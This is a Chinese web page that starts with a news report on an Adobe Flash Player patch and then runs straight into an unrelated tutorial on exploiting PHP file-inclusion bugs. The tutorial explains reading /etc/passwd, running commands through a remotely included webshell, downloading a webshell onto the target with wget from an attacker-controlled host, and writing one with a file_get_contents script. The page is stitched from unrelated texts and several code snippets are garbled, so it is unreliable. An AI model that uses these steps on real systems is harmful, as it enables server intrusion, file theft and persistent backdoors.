[指南]远程包含和本地包含漏洞的原理

[指南]远程包含和本地包含漏洞的原理 远程包含和本地包含漏洞的原理 Adobe Systems有限公司已经发布一个关键的 Adobe Flash Player 更新补丁，并且在它的建议中公布新的组成内容，即添加了优先级评分机制以便补丁管理员们能够估计更新补丁的严重性。 该软件巨人修补了Flash Player的两个漏洞，这两个漏洞可以被攻击者用来执行恶意代码或是造成拒绝服务的状况。Adobe公司明这些错误之一可能被攻击者通过未详细说明的途径来获得敏感信息。周一发布的更新补丁影响在Windows、Macintosh、Linux和Solaris平台，以及在Google的安卓设备上运行Flash Player软件的用户。 Adobe公司谈到，它不知道存在任何尝试瞄准上述任一个漏洞的exploit被广泛传播。丹麦的漏洞交换站点Secunia发布了一个Flash Player公告，给出该更新补丁“特别关键”的评分。Secunia站点表明这些问题来自Flash Player的Matrix3D引擎，其被设计用于定位及导向三维显示的物体。 该Flash Player更新补丁是第一个使用Adobe公司的优先级评分系统的。本周发布的该关键更新补丁被给于“优先级2”的评分，意味着当前还没有已知的exploits被广泛传播，并且Adobe公司预期没有任何瞄准该缺陷的exploits将要出现。 在一篇关于这个新评分系统的博客中，Adobe公司的产品安全事故响应团队(Product Security Incident Response Team，PSIRT)经理David Lenoe谈道该优先级评分系统提供给补丁管理员一种更好的方式，以便对补丁测试及部署过程进行优先级排序。 “所有关键的安全更新补丁不是在同等情况下创建的”，Lenoe wrote写到。“例如，如果某个Flash Player问题被广泛地传播和利用，解决该漏洞的更新补丁比起其它补丁应该得到更高的优先级，比如说用在Photoshop软件上关键漏洞的补丁。” 被攻击者盯上且广泛传播的漏洞会被给予“优先级1”的评分，意味着管理员们应该在72小时以内或者尽可能快地安装该更新补丁。“优先级3”的评分用于那些可选择安装的更新，因为从历史数据上来看该软件没有成为攻击者的目标。 “我们将会基于相关产品的历史攻击模式、漏洞类型、受影响的平台、以及任何可能到位的缓解进行优先级评分”，Lenoe说到。“这是一个全新的系统，所以我们可能会发现需要做出一些调整。” 上个月Adobe公司在Mozilla公司的Firefox浏览器中引入对它的Flash Player保护模式的支持功能。该公司一直在为浏览器组件设计一个沙箱环境。该保护模式在Google公司的Chrome浏览器也可使用，将Flash Player与关键的进程进行隔离，这使得攻击者突破Flash组件进入受害者的系统更为困难。首先，我们来讨论包含文件漏洞,首先要问的是,什么才是"远程文件包含漏洞"?回答是:服务器通过php的特性(函数)去包含任意文件时，由于要包含的这个文件来源过滤不严，从而可去包含一个恶意文件，而我们可以 ... 首先，我们来讨论包含文件漏洞,首先要问的是,什么才是"远程文件包含漏洞"?回答是:服务器通过php的特性(函数)去包含任意文件时，由于要包含的这个文件来源过滤不严，从而可去包含一个恶意文件，而我们可以构造这个恶意文件来达到邪恶的目的。几乎所有的 cgi程序都有这样的 bug，只是具体的表现方式不一样罢了。 一、涉及到的危险函数〔include(),require()和 include_once(),require_once()〕 include() && require()语句:包括并运行指定文件。 这两种结构除了在如何处理失败之外完全一样。include() 产生一个警告而 require() 则导致一个致命错误。换句话说，如果你想在遇到丢失文件时停止处理页面就用 require()。include() 就不是这样，脚本会继续运行。 如果"allow_url_fopen"在 PHP 中被激活(默认配置)，也可以用 URL(通过 HTTP 或者其它支持的封装)而不是本地文件来指定要被包括的文件。如果目标服务器将目标文件作为 PHP 代码解释，则可以用适用于HTTP GET 的 URL 请求字符串来向被包括的文件传递变量。 require_once() && include_once() require_once ()和include_once() 语句在脚本执行期间包括并运行指定文件。此行为和 require() 语句类似，唯一区别是如果该文件中的代码已经被包括了，则不会再次包括。适用于在脚本执行期间同一个文件有可能被包括超过一次的情况下，你想确保它只被包括一次以避免函数重定义，变量重新赋值等问题。 二、为什么要包含文件 程序员写程序的时候，不喜欢干同样的事情，也不喜欢把同样的代码(比如一些公用的函数)写几次，于是就把需要公用的代码写在一个单独的文件里面，比如 share.php，而后在其它文件进行包含调用。在php里，我们就是使用上面列举的那几个函数来达到这个目的的， 它的工作:如果你想在 main.php里包含share.php,我将这样写include("share.php")就达到目的，然后就可以使用share.php中的函数了，像这个写死需要包含的文件名称的自然没有什么问题，也不会出现漏洞，那么问题到底是出在哪里呢? 有的时候可能不能确定需要包含哪个文件，比如先来看下面这个文件index.php的代码: CODE: [Copy to clipboard] ----------------------------------------------------------- --------------------- if ([page]) { include GET[page]; } else { include "home. } 很正常的一段PHP代码，它是怎么运作的呢?这里面涉及到GET的意义，我就不打算讲了(要不又能写篇HTTP的文章了)，如果你还不了解GET，POST,等，那么你需要再Google一些相关的资料好好补一补了。 上面这段代码的使用格式可能是这样的: 或者http: //www.1steam.cn/php/index.php?page=downloads.php ,结合上面代码，简单说下怎么运作的: 1.提交上面这个URL，在index.php中就取得这个page的值(_GET[page])。 2.判断GET[page]是不是空，若不空(这里是main.php)就用include来包含这个文件。 3.若_GET[page]空的话就执行else，来include home.php 这个文件。 三、为什么会产生漏洞 你也许要说，这样很好呀，可以按照URL来动态包含文件，多么方便呀，怎么产生漏洞的呢?问题的是:我们不乖巧，我们总喜欢和别人不一样，我们不会按照他的链接来操作，我们可能想自己写想包含(调用)的文件，比如我们会随便的打入下面这个URL:http: //www.1steam.cn/php/index.php?page=hello.php。然后我们的index.php程序就傻傻按照上面我们说得步骤去执行:取page为hello.php，然后去include(hello.php)，这时问题出现了，因为我们并没有hello.php这个文件，所以它 include的时候就会报警告，类似下列信息: Quote: Warning: include(hello.php) [function.include]: failed to open stream: No such file or directory in /vhost/wwwroot/php/index.php on line 3 Warning: include() [function.include]: Failed opening 'hello.php' for inclusion (include_path='.:') in /vhost/wwwroot/php/index.php on line 3 注意上面的那个Warning就是找不到我们指定的hello.php文件，也就是包含不到我们指定路径的文件;而后面的警告是因为前面没有找到指定文件，所以包含的时候就出警告了。 四、怎么利用 上面可以看到，问题出现了，那么我们怎么利用这样的漏洞呢，利用方法其实很多，但是实质上都是差不多的，我这里说三个比较常见的利用方法: 1.包含读出目标机上其它文件 由前面我们可以看到，由于对取得的参数page没有过滤，于是我们可以任意指定目标主机上的其它敏感文件，例如在前面的警告中，我们可以看到暴露的绝对路径(vhost/wwwroot/php/)，那么我们就可以多次探测来包含其它文件，比如指定URL为:http: //www.1steam.cn/php/index.php?page=./txt.txt 可以读出当前路径下的txt.txt文件，也可以使用.. /../进行目录跳转(在没过滤../的情况下);也可以直接指定绝对路径，读取敏感的系统文件，比如这个URL:http: //www.1steam.cn/php/index.php?page=/etc/passwd ，如果目标主机没有对权限限制的很严格，或者启动 Apache的权限比较高，是可以读出这个文件内容的。否则就会得到一个类似于:open_basedir restriction in effect.的Warning。 2.包含可运行的PHP木马 如果目标主机的"allow_url_fopen"是激活的(默认是激活的，没 几个人会修改)，我们就可以有更大的利用空间，我们可以指定其它 URL上的一个包含PHP代码的webshell来直接运行，比如，我先写一段运行命令的PHP代码(加了注释，应该看得懂)，如下保存为 cmd.txt(后缀不重要，只要内容为PHP格式就可以了)。 以上这个文件的作用就是接受cmd指定的命令，并调用passthru函数执行，把内容返回在1.S.T之间。把这个文件保存到我们主机的服务器上(可以是不支持PHP的主机)，只要能通过HTTP访问到就可以了，例如地址如下:http: //www.1ster.cn/cmd.txt ,然后我们就可以在那个漏洞主机上构造如下URL来利用了:http: //www.1steam.cn/php/index.php?page= txt?cmd=ls ,其中 cmd后面的就是你需要执行的命令，其它常用的命令(以*UNIX为例)如下: Quote: ll 列目录、文件(相当于Windows下dir) pwd 查看当前绝对路径 id whoami 查看当前用户 wget 下载指定URL的文件 等等其它的，你主机去BAIDU找吧，就不列举了。 上面的方法就是得到一个Webshell了(虽然这个PHP文件不在目标机上，但是它确实是个Webshell，不是么?呵呵) 3.包含一个创建文件的PHP文件 也许有的人认为还是得到目标机上的一个真实的Webshell比较放心，万一哪天人家发现这儿个包含漏洞修补了，我们就不能再远程包含得到上面的那个"伪 "Webshell了，不是么?可以理解这个心态，我们继续。得到一个真实的Webshell，我们也说两种常见的方法: 1)使用wget之类的命令来下载一个Webshell 这个比较简单，也很常用，在上面我们得到的那个伪webshell中，我们可以执行命令，那么我们也可以调用系统中的一个很厉害的角色， wget，这个命令的强大你可以google下，参数一大堆，绝对搞晕你，呵呵，我们不需要那么复杂，我们就使用一个-O(--output- document=FILE，把文档写到FILE文件中) 就可以了，呵呵。 前提是你在按照前面的步骤放一个包含PHP代码的Webshell在一个可以通过HTTP或者FTP等可以访问的地方，比如:http: //www.1ster.cn/1stphp.txt ,这个文件里写的就是Webshell的内容。然后我们在前面得到的伪Webshell中执行如下的 URL: cmd=wget ，如果当前目录可写，就能得到一个叫做1stphp.php的Webshell了;如果当前目录不可写，还需要想其它的办法。 2)使用文件来创建 前面的wget可能会遇到当前目录不能写的情况;或者目标主机禁用了(或者没装)这个命令，我们又需要变通一下了，我们可以结合前面的包含文件漏洞来包含一个创建文件(写文件)的PHP脚本，内容 如下: CODE: [Copy to clipboard] ----------------------------------------------------------- --------------------- $f=file_get_contents("www.1ster.cn/1stphp.打开指定路径的文件流 $=fopen("./upload/1st.php","a"); //寻找一个可以的目录，创建一个文件 fwrite (,$f); //把前面打开的文件流写到创建的文件里 fclose(); //关闭保存文件 ?> 还是写入我们上面用wget下载的那个php文件，但是我们改进了方法，用PHP脚本来实现，可以使用上面的cmd.php?cmd=ll查找可以写的目录，比如这里的upload，然后把文件创建在这个目录下:./upload/1st.php。然后就得到我们的Webshell了。